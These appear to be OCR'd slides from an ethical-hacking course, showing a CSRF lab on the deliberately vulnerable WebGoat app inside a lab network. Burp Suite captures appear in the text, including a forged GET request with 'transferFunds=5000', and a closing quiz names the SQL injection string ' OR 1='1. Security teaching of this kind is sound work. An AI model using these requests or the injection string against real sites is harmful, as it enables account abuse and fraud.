Burp Intruder Repeater Window Help			
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Al	erts		
Intercept HTTP history WebSockets history Options			
Request to http://10.76.5.101:80			
Forward Drop Intercept is on Action Comment this item			?
Raw Params Headers Hex		_	
<pre>GET /WebGat/attack?Screen=52&amp;menu=900&amp;Mum=3 HTTP/1.1 Host: 10.76.5.101 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Referer: http://10.76.5.101/WebGoat/attack7Screen=52&amp;menu=900 Cookie: JSESSIONLD=822D9C0F92694E5OF1189DADB48BE0AE; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada Authorization: Basic Z3VLc306Z3VLc30= Connection: close</pre>			
? < + > Type a search term	0 r	natcl	nes

#### Click Forward on Burp Suite to continue



## Cross-Site Request Forgery (CSRF) Setup

#### [EH-Kali] Firefox

	Cross Site Request Forgery (CSRF) - Mozilla Firefox	000
Kali Linux, an Offensive S 🗴 🌀 Cros	s Site Request F × +	
( i) 10.76.5.101/WebGoat/attack?Scre	een=52&menu=900   C 🔍 Search 🔄 🖨 💟 🖡 🏫	**  v =
📷 Most Visited 🔻 👖 Offensive Security 🌂	🕻 Kali Linux 🌂 Kali Docs 🌂 Kali Tools  🔝 Exploit-DB 📡 Aircrack-ng	
LAB: Cross Site Scripting Stage 1: Stored XSS	Note that the "Screen" and "menu" GET variables will vary between Web Copying the menu link on the left will give you the current values.	Goat builds <sup>▲</sup>
Stage 2: Block Stored XSS using Input Validation Stage 3: Stored XSS	Title:	
Revisited Stage 4: Block Stored XSS using Output Encoding	Message.	
Stage 5: Reflected XSS Stage 6: Block Reflected XSS		
Reflected XSS Attacks		
(CSRF) CSRF Prompt By-Pass		
CSRF Token By-Pass HTTPOnly Test		
<u>Cross Site Tracing (XST)</u> <u>Attacks</u>	Submit	
Improper Error Handling Injection Flaws Denial of Service Insecure Communication Insecure Configuration	Message List Trouble	
Malicious Execution Parameter Tampering	Created by Shent Sof	twareSect

Select the message with the malicious payload



#### **Burp Suite on EH-Kali-xx**

					Burp Suit	e Free Editio	on v1.7.03	- Tempora	ry Project			0	•	8
Burp Int	truder Re	peater W	/indow Helj	0										
Target	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts		
Interce	pt HTTP	history	WebSocke	ts history	Options									
For	ward		Drop	Intercer	ot is on	Action				Con	nment this item			?
David	Damana	Headam											9	0
GET /Web	Farams	neaders	een=526me	00-900&Nor		1								
Host: 10	.76.5.10	)1		nu- Socenui										n
User-Age Accept:	nt: Mozi text/htm	lla/5.0 l,appli	(Xll; Li cation/xh	nux x86_64 tml+xml,aj	4; rv:45.0 pplicatior	0) Gecko/201 n/xml;q=0.9,	.00101 Fir */*;q=0.8	refox/45.0 3						
Accept - L	anguage:	en-US,	en;q=0.5											
Referer:	http://	10.76.5	.101/WebG	oat/attac	k?Screen=5	52&menu=900&	Num=3							
														v
?	< +		Type a se	arch term								0	matc	hes

#### Click Forward on Burp Suite to continue



## Cross-Site Request Forgery (CSRF) Setup

#### [EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project		8
Burp Intruder Repeater Window Help		
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Ale	erts	
Intercept HTTP history WebSockets history Options		
Request to http://10.76.xx.101:80 [unknown host]		
Forward Drop Intercept is on Action Comment this item		?
Raw Params Headers Hex		
GET /WebGoat/attack?Screen=81&menu=210&transferFunds=5000 HTTP/1.1		
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: image/png.image/*;q=0.8; */*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept: Encoding: gzip, deflate Referer: http://10.76.5.101/WebGoat/attack?Screen=52&menu=900&Num=3 Connection: close		
? < + > Type a search term	0 m	atches

Note the GET request containing the malicious URL which requests the transfer the bank funds to attacker



When finished using the Burp Suite, disable the proxy settings in your browser:

"Pancakes" icon > Preferences > Advanced > Network > Settings...

> Select "No proxy"

## Assignment



### Lab 10 - the LAST one!



## Wrap up



## Next Class

Assignment: Check the Calendar Page on the web site to see what is due next week.

Quiz questions for next class:

- Using ' OR 1='1 as the password to log into a web application is what kind of attack?
- What the difference between stored and reflected cross-site scripting?
- The Burp Suite can be used as a HTTP proxy server (T or F)?



# Backup